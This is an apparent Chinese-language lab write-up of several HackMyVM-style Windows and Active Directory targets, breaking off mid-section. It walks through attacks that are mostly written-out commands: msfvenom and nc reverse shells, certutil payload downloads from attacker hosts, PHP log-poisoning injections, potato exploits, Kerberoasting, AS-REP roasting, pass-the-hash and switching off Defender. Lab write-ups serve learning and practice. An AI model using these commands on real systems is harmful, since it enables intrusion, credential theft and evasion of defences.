  • 比如你的Tenable Nessus服务以LocalSystem权限运行(类比 Linux 里 root 运行的nginx)。

  • 若目标程序是普通用户权限,即使劫持成功,也只能拿到普通权限,无法提权。

2. 你对目标程序加载的DLL 文件有写入 / 替换权限
  • 你的icacls结果显示,nesuslegacy.dllF(完全控制)权限,能备份、删除、替换该 DLL(类比 Linux 里普通用户对/usr/lib/libnginx_dep.sow权限)。

  • 若只有只读权限(RX),无法替换 DLL,劫持失败。

3. 目标程序会主动加载该 DLL 文件
  • legacy.dllTenable Nessus服务的 “依赖 DLL”—— 服务启动时必须加载它才能正常运行(类比 Linux 里nginx必须加载libnginx_dep.so)。

  • 若目标程序不加载该 DLL,即使替换了也没用(比如替换一个无关的 DLL 文件)。

4. 恶意 DLL 能被目标程序成功加载
  • 恶意 DLL 的格式要正确(比如 32 位 / 64 位和目标程序匹配,你用x86_64编译对应 64 位系统);

  • 若目标程序需要 DLL 导出特定函数(比如LoadLibrary调用的函数),恶意 DLL 需包含这些导出函数(你的示例是基础DLLMain,满足简单加载需求)。

  • 类比 Linux 里恶意.so需符合 ELF 格式,否则无法被nginx加载。

6.10.4 总结:DLL 劫持提权的核心逻辑

找到一个 “高权限运行、且依赖的 DLL 你能替换” 的程序(比如服务),用恶意 DLL 替换原 DLL,让高权限程序执行恶意代码,从而拿到高权限

7、HackMyVm-Always :简单

7.1 信息打点

nmap -sS -p- -T4 10.10.10.161 -A

image-20251018170916615

使用目录扫描出来一个admin后台界面

image-20251018171232502

查看源码发现账号密码信息

image-20251018171451517

登录进来发现一个base编码

image-20251018171508440

解密

ftpuser:KeepGoingBro!!!

image-20251018171542324

7.2 登录FTP

使用刚刚的账号密码登录

ftp 10.10.10.161

image-20251018171647625

发现了一个robots.txt,使用下面的命令将它下载下来

get robots.txt

image-20251018171748228

查看这个robots.txt中的文件

image-20251018171821333

管理员的秘密笔记
1)禁用防火墙和 Windows Defender。
2)启用 FTP 和 SSH。
3)启动 Apache 服务器。
4)别忘了更改用户“always”的密码。当前密码是“WW91Q2FudEZpbmRNZS4hLiE=”。

又得到一个密码

always:YouCantFindMe.!.!

image-20251018171920633

7.3 远程登录

image-20251018172748007

发现密码不对,我们来使用hydra来爆破rdp协议

image-20251018172736185

使用enum4linux枚举,看到支持的smb协议,为1.0和2.0/2.1,3.0以上均不支持,让我联想到了永痕之蓝漏洞(MS17-010)

enum4linux-ng -A 10.10.10.161 -C    

image-20251018194244803

含义:-A--all 的缩写,表示执行全量信息收集,包含以下枚举内容:

  • 主机基础信息(主机名、工作组 / 域、MAC 地址);

  • SMB 协议支持情况(支持的 SMB 版本、签名配置);

  • 用户和组列表(本地用户、域用户、内置组等);

  • 共享目录(可访问的 SMB 共享及权限);

  • 操作系统版本(通过 RPC 或 SMB 信息推断);

  • 服务、打印机、系统策略等其他信息。

7.4 永痕之蓝

利用,很遗憾利用失败

image-20251018200847073

利用nxc枚举这两个账号密码

always:YouCantFindMe.!.!
ftpuser:KeepGoingBro!!!

image-20251018201723032

看到ftpuser用户,尝试登录,也不让远程登录

image-20251018210432820

7.5 近源攻击

这里没找到其他方法,直接登录靶机上传shell吧(近源攻击),这里还需要注意,就是需要修改一下语言为美国的,不然登录不进去

image-20251018202231034

7.6 Msf获取反向shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.137 LPORT=4444 -f exe -o shell.exe
certutil -urlcache -split -f http://10.10.10.137:8000/shell.exe c:\1.exe

image-20251018211736035

msf上线

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.137
set lport 4444
run

image-20251018212039872

7.6 MSF内核漏扫

use multi/recon/local_exploit_suggester

image-20251018214908658

使用第一个模块,设置第一个会话,并进行提权

image-20251018214848052

8、HackMyVm-Runas :简单

8.1 信息打点

首先进行全端口扫描

image-20251021215820552

端口详细信息

image-20251021215957125

探测时使用guest账户即可获取信息,说明 SMB 可能允许匿名访问或 guest 权限过高。

image-20251021220508707

可以使用smbclient进行匿名登录试试,登录成功!但是没有任何东西

image-20251021220309195

ms17-010

image-20251021220829211

使用目录扫描、nothing

image-20251021220939888

8.2 文件包含利用

来到首页点进来index.php发现需要我们传一个file参数,大概率就是文件包含了

image-20251021221021040

尝试包含index.php没有效果

image-20251021221103537

利用burp进行批量文件包含,字典网上随便找几个

image-20251021221300266

筛选内容

image-20251021223404412

可以看到这里有一段密文

image-20251021223341154

runas-b3a805b2594befb6c846d718d1224557

yakuzza

解密网站

https://www.somd5.com/

image-20251022141219258

8.3 远程连接

有了账号密码,登录口在哪?看了看之前的端口扫描结果是没有3389端口的,但是现在又有了。。。。。(中途换了换网,ip变成了10.10.10.168)

image-20251022141944605

可能是我疏忽了吧,快点来连,搞不好等一下又关了

image-20251022142159003

8.4 创建反向shell

image-20251022143619340

windows下载马

certutil.exe -urlcache -split -f http://10.10.10.137:8000/shell.exe

msf注意监听,同时执行windows机器上的马

msfconsole
use multi/handler
set lhost 10.10.10.137
set payload windows/meterpreter/reverse_tcp
run

image-20251022143604841

8.5 MSF内核提权

image-20251022143635482

全部失败。。。

8.6 WinPEAS提权

在windows中下载下来,并执行,发现一个最新的漏洞补丁没有打

certutil.exe -urlcache -split -f http://10.10.10.137:8000/winPEAS.bat
./winPEAS.bat

image-20251022164337275

使用searchsploit检索exp

image-20251022164249248

在windwos中的VS打开,打包成exe

image-20251022160444775

放上去执行的时候没有任何回显,失败了

image-20251022165125354

8.7 土豆提权

后面又试过好几种方法,土豆提权,提权失败

certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET2.exe
certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET35.exe
certutil.exe -urlcache -split -f http://10.10.10.137:8000/GodPotato-NET4.exe
GodPotato-NET2.exe -cmd "cmd /c whoami"
GodPotato-NET35.exe -cmd "cmd /c whoami"
GodPotato-NET4.exe -cmd "cmd /c whoami"

image-20251022165544449

8.8 JuicyPotato提权

烂土豆提权

certutil.exe -urlcache -split -f http://10.10.10.137:8000/JuicyPotato.exe
certutil.exe -urlcache -split -f http://10.10.10.137:8000/CLSID/Windows_7_Enterprise/CLSID.list
certutil.exe -urlcache -split -f http://10.10.10.137:8000/juicy-potato/Test/test_clsid.bat

image-20251022183620007

JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\Users\runas\nc.exe 10.10.10.137 4444 -e c:\windows\system32\cmd.exe" -t *

image-20251022183547586

执行成功了,但是不能执行命令,提权失败

image-20251022183707170

8.9 runas提权

在网上找到了这个,使用runas提权

https://www.cnblogs.com/kqdssheng/p/18751119

image-20251022200022008

在上面这个图片中,可以看到本地管理员账户的凭据已存储在凭据管理器中,并且当前用户是runas!

当前的 runas 用户能列出 RUNAS-PC\Administrator 的缓存凭据,具备利用这些凭据实现本地提权的条件

Domain:interactive=RUNAS-PC\Administrator 是 “交互式登录的管理员凭据缓存”,意味着系统之前保存过 Administrator 的登录信息(比如用户曾用 Administrator 登录,或通过 runas /savecred 保存过凭据)。

虽然无法直接看到明文密码,但 Windows 允许 “在缓存凭据存在时,以该用户身份执行程序”—— 这是提权的关键:

8.10 两种具体提权方法

使用下面的命令启动一个cmd

runas /savecred /user:RUNAS-PC\Administrator "cmd.exe"

image-20251022200932949

此时你执行完这条命令目标机器就会弹出一个cmd窗口,此时你执行命令的时候就是administrator超级管理员,那么我们是不是能够通过上面这条命令执行一个木马,或者nc,来反弹这个shell到kali上?

image-20251022201011186

来试试,提权成功!

certutil.exe -urlcache -split -f http://10.10.10.137:8000/nc.exe  # 从kali中下载nc
runas /savecred /user:Administrator "C:\Users\runas\nc.exe 10.10.10.169 4444 -e cmd.exe"

image-20251022164211514

8.11 msf内核扫描

提升至系统权限可以使用winPACE.exe进行信息收集,在尝试过各种admin提权到系统权限的方式比如

multi/recon/local_exploit_suggester
MS17-017
exploit/windows/local/ms16_075_reflection
烂土豆提权
土豆提权
多土豆汁提权等等

MS16-032

image-20251022213926259

最终测试出来windows/local/service_permissions 能够成功提权到system权限, Windows服务权限配置错误漏洞

image-20251022213650872

8.13 抓取明文密码

上传mimikatz,获取明文密码!!

certutil.exe -urlcache -split -f http://10.10.10.169:8000/mimikatz.exe

image-20251022221440585

9、TriplAdvisor :简单

9.1 信息打点

nmap -sS 192.168.53.243 -p- -T4

image-20251020214220142

发现有一个http的域名解析,需要我们在hosts文件中添加好相关的信息

nmap -sS 192.168.53.243 -p 445,5985,8080 -T4 -A

image-20251020214426800

打开windows的hosts文件,添加如下信息

C:\Windows\System32\drivers\etc\hosts

image-20251020214403103

kali攻击机器中也不能忘了(方便渗透测试,windows中添加只是为了访问,当然也可以配置代理到kali)

echo "192.168.53.243 tripladvisor" >> /etc/hosts

image-20251020214617937

打开信息收集插件,发现这是一个wordpress内容管理系统

image-20251020214505610

wpscan进行可能的用户,后台密码爆破

wpscan --url http://tripladvisor:8080/wordpress/ -e u -P /usr/share/wordlists/fasttrack.txt

image-20251020215621911

wordpress版本信息已经被扫描出来了

image-20251020215050397

再使用详细扫描,发现一个插件

wpscan --url http://tripladvisor:8080/wordpress/ 

image-20251020215653429

9.2 漏洞利用

漏洞检索

searchsploit editor 1.1 wordpress
searchsploit -m 44340

image-20251020215824353

漏洞信息

┌──(root㉿kali)-[/data/demo]
└─# cat 44340.txt
Product: Site Editor WordPress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422

** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.

Vulnerable code:
if( isset( $_REQUEST[‘ajax_path’] ) && is_file( $_REQUEST[‘ajax_path’] ) && file_exists( $_REQUEST[‘ajax_path’] ) ){
require_once $_REQUEST[‘ajax_path’];
}

https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5

By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

** Solution **
No fix available yet.

** Timeline **
03/01/2018: author contacted through siteeditor.org’s contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us “another” e-mail
19/01/2018: report sent; author says he will fix this issue “very soon”
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure

** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).


Best Regards,

Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)

存在文件包含漏洞,根据上面的url进行修改

http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

image-20251020220349613

因为这是windows系统,不存在/etc/passwd,那么怎么快速判断文件是否存在?

字典

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt

打开bp

image-20251020221317503

这里我们上传不了文件(没有账号密码),所以只能包含日志文件

c:/xampp/apache/logs/access.log

image-20251020223710800

9.3 反弹shell

使用curl写入日志,并包含日志文件,尝试获取命令执行结果,结果能正常执行命令

┌──(root㉿kali)-[/usr/share/wordlists]
└─# curl -A "<?php system('ipconfig /all');?>" http://tripladvisor:8080/wordpress/
┌──(root㉿kali)-[/usr/share/wordlists]
└─# curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=c:/xampp/apache/logs/access.log"

image-20251020224014235

根据前面传msf马上去的经验,这里就传个nc吧

curl -A "<?php system('certutil.exe -urlcache -split -f http://192.168.53.51:8000/nc.exe');?>"  http://tripladvisor:8080/wordpress/ 
curl -A "<?php system('nc.exe 192.168.53.51 1234 -e cmd');?>" http://tripladvisor:8080/wordpress/
curl "http://tripladvisor:8080/wordpress/wp-content/plugins/editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=\xampp\apache\logs\access.log"

image-20251021095247979

切换到当前用户的文件夹,可以看到第一个flag

image-20251021095602197

将这个shell利用nc传到msf中,进行本地漏扫(试一试,说不定就出来了呢,虽然它只在meterpreter后渗透模块中生效)

nc.exe 192.168.53.51 1234 -e cmd

image-20251021100216392

9.4 msf内核漏扫

msfconsole
use exploit/multi/handler # 加载handler模块
# 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)

# 目标是Windows,接收nc命令反弹的shell:
set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)
set LPORT 1234 # 监听端口(与nc反弹端口一致)
run -j # 启动监听,保持后台执行

use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块,估计这里没效果,目前测试只有meterpreter模块反弹的shell能用
set session 1 # 设置反弹成功的会话id为1,使用 sessions 即可查看所有的会话id

image-20251021100730895

9.5 土豆提权

certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET2.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET35.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/GodPotato-NET4.exe

image-20251021105113430

失败

.\GodPotato-NET4.exe -cmd "cmd /c whoami"
.\GodPotato-NET35.exe -cmd "cmd /c whoami"
.\GodPotato-NET2.exe -cmd "cmd /c whoami"

image-20251021105345797

9.6 JuicyPotato提权

certutil.exe -urlcache -split -f http://192.168.53.51:8000/JuicyPotato.exe
certutil.exe -urlcache -split -f http://192.168.53.51:8000/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list

https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_Server_2008_R2_Enterprise/CLSID.list

然后用这个工具测试

certutil.exe -urlcache -split -f http://192.168.53.51:8000/juicy-potato/Test/test_clsid.bat

image-20251021181914686

image-20251021181606566

此时你的靶机上应该要有这三个文件

image-20251021182027745

此时验证一下,能否正常访问administrotar的文件,结果为拒绝访问(因为靶机限制了我不能使用whoami,所以只能这样验证)

image-20251021183614000

回到目录,执行此文件

image-20251021182052519

随便选择一个系统权限的clsid

image-20251021183001668

最终提权命令如下,kali记得开nc

JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c C:\xampp\htdocs\wordpress\wp-content\plugins\editor\editor\extensions\pagebuilder\includes\nc.exe 192.168.53.51 4444 -e cmd.exe" -t *

image-20251021183431930

此时就可以访问管理员的文件了

image-20251021183815113

10、HackMyVm-DC01 :简单

10.1 信息打点

nmap -sS 192.168.53.26 -p- -T4 | grep -E '^[0-9]+/tcp' | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'

image-20251023113138475

漏洞扫描

nmap -sS 192.168.53.26 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49707,49783 -T4 --script=vuln

image-20251023113315107

使用新版enum4linux枚举系统的全部信息

enum4linux-ng -A 192.168.53.26 -C

image-20251023113555803

10.2 SMB无密登录

列出来smb共享文件夹

image-20251023141424433

可以匿名登录的共享目录中都没有文件,只能继续信息收集

image-20251023141610166

从上面enum4linux-ng枚举结果显示除了SMB服务,还有LDAP以及LDAPS(加密传输,类似于https)服务可达,运行在389/636端口

LDAP 是域内 “用户 / 组 / 计算机信息的数据库”,后续有账号就能查域内核心信息(如用户列表、管理员组)。

image-20251023131318713

Appears to be root/parent DC:目标可能是”主域控制器“,也就是域控,完整的域名为:SOUPEDECODE.LOCAL

域控制器(DC)是域的 “核心”,存储所有域信息(账号、权限、计算机),拿下它就等于控制整个域

后续 LDAP 查询(如 ldapsearch)要写 -b "dc=SOUPEDECODE,dc=LOCAL",Kerberos 攻击要指定 -d SOUPEDECODE.LOCAL,没有这个域名,大部分域操作都无法执行。

image-20251023132057258

域的 “短域名” 是 SOUPEDECODE(完整域名是 SOUPEDECODE.LOCAL,短域名是简化版)

后续登录域账号时可用短域名(如 SOUPEDECODE\admin)或完整域名(如 admin@SOUPEDECODE.LOCAL),两种格式都支持,短域名更简洁。

其中- SOUPEDECODE <1c> - <GROUP> B <ACTIVE> Domain Controllers代表着 DC01 属于 “域控制器组”,进一步验证它是域控制器,不是普通域内主机。

刚刚提到了,使用LDAP查询(如ldapsearch)需要增加一个参数 -b,Kerberos 攻击要指定 -d SOUPEDECODE.LOCAL

10.3 ldapsearch

那么利用ldapsearch的完整命令就如下

ldapsearch -x -H ldap://192.168.53.26 -D '' -w '' -b "dc=SOUPEDECODE,dc=LOCAL" -s base "(objectclass=user)"

image-20251023141222657

上面的代码是什么意思呢?其核心”匿名访问被拒绝“

各个参数解释如下

  • 连接 192.168.53.26 这台 LDAP 服务器(域控制器);

  • 匿名方式 访问(-D '' -w '' 表示空用户名、空密码);

  • 查询 dc=SOUPEDECODE,dc=LOCAL 这个节点(域的核心数据节点,存储用户、组等信息);

  • 只查该节点本身(-s base),且只找 “用户类型” 的对象((objectclass=user))。

为什么报错了?

text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c

翻译过来是:“要执行这个操作,必须先在连接上完成‘成功的绑定’(即提供有效的账号密码进行身份验证)”

我们想访问的 dc=SOUPEDECODE,dc=LOCAL 节点是域的 “敏感数据区”(存着用户账号、权限等核心信息),域控制器为了安全,禁止匿名用户访问这个区域,必须用 “合法的域账号” 登录后才能查询。

如果不加这个-b参数呢,把它去掉,这样就成功了

ldapsearch -x -H ldap://192.168.53.26 -D '' -w '' -b '' -s base "(objectclass=user)"

image-20251023142727230

这段 ldapsearch 结果包含了 域控制器(192.168.53.26)的核心架构信息

我们之前执行的命令指定 -b "dc=SOUPEDECODE,dc=LOCAL",默认查的是 LDAP 的 “根节点”(-b ""):

  • 根节点只存域的基础架构信息(如域名、支持的协议)不包含敏感数据,所以允许匿名访问,命令能成功;

  • 而之前指定的 dc=SOUPEDECODE,dc=LOCAL 是 “核心数据节点”,匿名访问被拒绝,所以报错。

这次查询返回的是 LDAP 根节点的配置信息,本质是域控制器 “公开可见的基础架构数据”,包含 5 类关键内容:

  1. 域的命名结构(域名、目录节点路径);

  2. 域功能级别(操作系统版本版本);

  3. 支持的协议和认证机制;

  4. 域控制器的身份标识标识(主机名、角色);

  5. LDAP 服务的配置限制(如最大连接数、查询超时)。

10.4 匿名枚举用户的SID

解释那么多,渗透到目前收集到的信息,本质就是没有账号密码,获取账号密码可以利用lookupsid

find / -name lookupsid* 2>/dev/null

image-20251023145003430

lookupsid.py 是 Impacket 工具集中的 SID 枚举工具,核心作用是通过 SMB/LDAP 协议查询目标系统的 安全标识符(SID)及其对应账号 / 组信息,在域渗透中常用于 “匿名 / 低权限枚举域内关键账号(如管理员)”,下面枚举soupedecode.local这个域的SID信息,并使用匿名账号和空密码(-no-pass)登录(部分域会禁用匿名登录,这里是一个突破点)

python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/anonymous@192.168.53.26 -no-pass

image-20251023145015630

为什么能列举出来SID?

lookupsid.py,通过匿名访问这个域(工具连接域控制器后,会先查询 “域本身的 SID”),通过枚举rid(sid最后一部分),再拼接完整的sid,工具把每个 “完整 SID” 发给域控制器,调用它的 LsaLookupSids2 接口(就像查字典),问:“这个 SID 对应哪个账号?”,这样工具就会返回给你对应的账号信息

# 筛选 SidTypeUser 行 → 提取账号名(去掉 SOUPEDECODE\) → 去重 → 保存到 target_users.txt,AI一下就行
grep "SidTypeUser" /data/demo/user | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt

image-20251023162705764

10.5 nxc内网渗透

nxc内网渗透神器,进行SMB爆破,但是这里我们是用户和密码都不知道,相当于burpsuite中的集群炸弹攻击,为了减少攻击次数,我们可以使用相同的账号密码,进行攻击,也就是burpsuite中的Pitchfork攻击

image-20251023143720192

所以命令如下

nxc smb 192.168.53.26 -u target_users.txt -p target_users.txt --no-bruteforce --continue-on-success

image-20251023165051652

找到ybob317:ybob317账号密码,继续接下来的渗透,smb登录,照样也没有任何东西

image-20251023171642073

换一个USERS,这里面有东西,我们去看看,全部下载下来

image-20251023171857182

尝试上传一个文件shell,禁止上传

image-20251023173027777

将全部的文件都下载下来

recurse ON
prompt OFF
mget *

image-20251023172614468

在ybob317中找到了flag

image-20251023184014469

10.6 kerberos攻击

服务器上开启了kerberos服务

image-20251023184703974

如果目标是 域控制器(DC)(如你之前枚举的 DC01.SOUPEDECODE.LOCAL),则 一定开启了 Kerberos 服务,因为:

1、Kerberos 是 Windows 域环境的核心认证协议,用于域内账号登录、服务访问等身份验证;

2、域控制器作为 Kerberos 的 “密钥分发中心(KDC)”,必须运行 Kerberos 服务(kdc.exe 进程),否则域功能无法正常工作。

impacket-GetUserSPNs -request -dc-ip 192.168.53.26 SOUPEDECODE.LOCAL/ybob317:ybob317

通过域用户 ybob317 的凭证,向域控制器(IP:192.168.53.26)查询域内所有关联了 SPN 的用户,并强制请求并获取这些用户的 TGS 票据(Ticket-Granting Service),最终可用于破解用户密码(利用 hashcat 等工具爆破 TGS 票据哈希)。

image-20251023191826119

同步时间

ntpdate 192.168.53.26

image-20251023195237698

将这些内容全部复制到一个名叫”hash“文件中,使用hashcat攻击,爆破出来file_svc用户的密码为Password123!!

hashcat -a 0 -m 13100 hash /usr/share/wordlists/rockyou.txt

image-20251023201212384

使用smbclient登录

smbclient //192.168.53.26/backup -U file_svc
Password123!!
get backup_extract.txt
exit

image-20251023214656869

随后使用awk进行筛选

awk -F '[:]' '{print $4}' backup_extract.txt > ntml.txt

image-20251023214221785

nxc smb 192.168.53.26 -u target_users.txt -H ntml.txt

最终账号密码如下

FileServer$ :e41da7e79a4c76dbd9cf79d1cb325559

image-20251023212456006

10.7 远程连接

evil-winrm -i 192.168.53.26 -u "FileServer$" -H "e41da7e79a4c76dbd9cf79d1cb325559"

image-20251023215317085

至此已经拿到了管理员权限,和最后的flag,据说在域中administrator就是系统权限

10.8 获取system权限

后续如果有兴趣的是否可以利用这个管理员权限提升至系统权限,默认的cmd下载命令不能用,只能用powershell,命令如下

Invoke-WebRequest -Uri "http://192.168.53.141:8000/PrivescCheck.ps1" -OutFile "PrivescCheck.ps1"

Set-ExecutionPolicy Bypass -Scope process -Force
./PrivescCheck.ps1  # 或者. .\PrivescCheck.ps1
Invoke-PrivescCheck

Set-MpPreference -DisableRealtimeMonitoring $true  # 关闭杀软

Invoke-WebRequest -Uri "http://192.168.53.141:8000/shell.exe" -OutFile "shell.exe"
./shell.exe  # msf生成的马

可以看到是能正常上线的

image-20251023222455018

扫描出来两个提权漏洞,第二个不能用

image-20251023223231009

可以使用第一个,但是没有创建成功会话,由于桥接模式老是自动换ip,就不继续了,另外使用mimikatz.exe也不能正常执行,x86和x64都试过了,后续有做出来的师傅,欢迎添加我好友,一起讨论 + baibaixiaoyu2024

exploit/windows/local/ms16_032_secondary_logon_handle_privesc

image-20251023223354894

12、HackMyVm-DC02 :中等

中途可能会切换好几次IP,但是都是同一个靶机,我自己网络不稳定,或者机器环境有问题,重装导致的,不用管IP的变化

12.1 端口扫描

这里使用nmap进行全端口扫描,识别目标开放的服务和操作系统信息

nmap -sS -p- -T4 192.168.219.240 -A
端口53:DNS服务,用于域名解析
端口88:Kerberos认证,域用户登录验证
端口139/445:SMB文件共享服务
端口389:LDAP目录服务,存储用户信息
端口636:安全的LDAP
端口5985:WinRM远程管理
这些端口组合表明这是一个域控制器!

image-20251024205318264

12.2 enum4linux枚举

使用enum4linux-ng通过 LDAP/SMB/RPC 等协议枚举目标系统信息(是enum4linux的升级版,现在有社区维护,老版已不再维护)

enum4linux-ng -A 192.168.219.240 -C

工具作用:通过 SMB/LDAP/RPC 等协议自动枚举 Windows 域环境信息

image-20251024134307640

12.3 尝试使用匿名登录

目的:检查是否允许匿名访问SMB共享 结果:需要认证,匿名访问被拒绝

smbclient -L //192.168.219.227/ -N

image-20251024151010042

12.4 kerberos 用户名枚举

字典使用的是seclist,总共发现了3个用户,admin / zximena448 / charlie

kerbrute userenum -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt --dc 192.168.219.227

kerbrute:一款用于Kerberos用户枚举和密码爆破的工具。

userenum:用户枚举模式。

-d SOUPEDECODE.LOCAL:指定域名。

/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt:用户名字典路径。

--dc 192.168.219.240:指定域控制器的IP地址。

image-20251024181257856

12.5 爆破 kerberos 协议

爆破kerberos 协议的时候,需要同步时间(Kerberos要求时间偏差在5分钟内)

ntpdate 192.168.219.227  #  将本地时间与目标域控制器同步
kerbrute bruteuser --dc 192.168.219.227 -d SOUPEDECODE.LOCAL /data/SecLists_Dict/Usernames/xato-net-10-million-usernames-dup.txt charlie -v
# 参数解析
bruteuser:针对单个用户进行密码爆破
--dc 192.168.219.240:域控制器IP
-d SOUPEDECODE.LOCAL:域名
/usr/share/...usernames-dup.txt:密码字典(这里误用了用户名字典,应该用密码字典)
charlie:目标用户名
-v:详细输出模式

image-20251024154243268

如果不同步时间就会出现如下结果

为什么需要同步时间?Kerberos 认证流程中,客户端向 KDC(域控制器)请求票据(如 AS-REQ)时,会在请求中包含当前时间戳,KDC 收到请求后会:检查客户端时间戳与自身系统时间的偏差是否在允许范围内(默认通常为 5 分钟,由域策略 Maximum tolerance for computer clock synchronization 控制)。若偏差超过阈值,KDC 会直接拒绝请求,返回错误 KDC_ERR_CLOCK_SKEW_TOO_GREAT(时钟偏差过大)。

image-20251024154019074

有了账号密码charlie/charlie,登录smb服务

image-20251024154945507

使用evil-winrm远程连接服务器(类似于3389端口的rdp远程连接),这个服务运行在5985端口

evil-winrm -i 192.168.219.227 -u charlie -p charlie

image-20251024155917167

12.6 查询域内SPN关联用户

有了域内的账号密码,再来看看SPN,查询域内所有关联了 SPN 的用户,用来获取他们的凭据,没有结果

impacket-GetUserSPNs -request -dc-ip 192.168.219.227 SOUPEDECODE.LOCAL/charlie:charlie

image-20251024164248832

12.7 枚举域内用户SID

再由于目标域不支持匿名登录(包括smb)所以不能使用-no-pass参数来枚举这个域的SID

核心作用是通过 SMB/LDAP 协议查询目标系统的SID SMB/LDAP 及其账号和组信息

python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 -no-pass

image-20251024200050555

SID遍历,枚举域内用户,使用账号密码charlie:charlie(看看charlie这个用户有没有权限查看SID

python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240

image-20251024195807440

正常枚举域内用户信息,把它归纳成一个字典

python /usr/share/doc/python3-impacket/examples/lookupsid.py soupedecode.local/charlie@192.168.219.240 > user
# 将枚举出来的用户都筛选出来,去掉多余字符
grep "SidTypeUser" /data/demo/user | awk -F '\\\\' '{print $2}' | awk '{print $1}' | sort -u > /data/demo/target_users.txt

image-20251024200824839

12.8 获取不需要预认证用户的AS-REP哈希

正常情况下,银行(KDC)会强制要求你提供 “加密时间戳”(预认证)才给你凭证 —— 但如果某个用户的 “银行卡设置” 里,把 “必须要预认证” 这个选项关了(域用户未启用 Kerberos 预认证),会发生什么?

→ 你不用提供 “加密时间戳”,只要报出 “身份证号”(用户名),银行就直接把 “加密的取钱凭证”(AS-REP 票据)给你了!

→ 拿到这张凭证(AS-REP 哈希)后,你就可以拿回家 “慢慢试密码”(用 hashcat/john 爆破)—— 反正凭证是加密的,试错不会被银行发现(不会触发账号锁定)。

这就是为什么要找 “不需要预认证的用户”:能无风险、无凭证地拿到他的 AS-REP 哈希,进而破解出明文密码

impacket-GetNPUsers -dc-ip 192.168.219.240 soupedecode.local/ -usersfile target_users.txt > hash

image-20251024201050292

12.9 AS-REP哈希爆破

使用hashcat爆破不需要预认证的AS-REP哈希结果

hashcat -a 0 -m 18200 res.txt /usr/share/wordlists/rockyou.txt

image-20251024183827493

提示,设备 #1:此次攻击所需的可分配设备内存不足,切换爆破工具john

image-20251024184448941

得到密码internet,那么配合前面的账号密码就是zximena448 :internet ,再次远程连接

evil-winrm -i 192.168.219.240 -u zximena448 -p internet 

image-20251024190456199

使用smbclient连接smb服务,查看有什么东西

smbclient -L //192.168.219.240/ -U zximena448

image-20251024190515226

使用这个用户连接C$这个smb共享文件夹

image-20251024190639919

再连接ADMIN$这个共享文件夹,也能连接(不过没有发现什么可用的文件)

image-20251024190646750

在C$共享文件夹中找到flag

image-20251024192113529

zximena448 账号查询域内用户信息,获取高权限账号(如 Administrator)的线索。

12.10 收集 LDAP 信息

目的:获取域内用户列表、权限分组(如 Domain Admins)、账号状态(启用 / 禁用),锁定高价值目标(如 Administrator)。

必要性:没有域内用户信息,后续攻击会盲目尝试,效率极低。

前提:拥有至少一个有效的域内用户凭证(如 zximena448:internet),且域控的 LDAP 端口(389)开放。

原理:域内普通用户默认有权限查询 LDAP 目录的基础信息。

命令如下

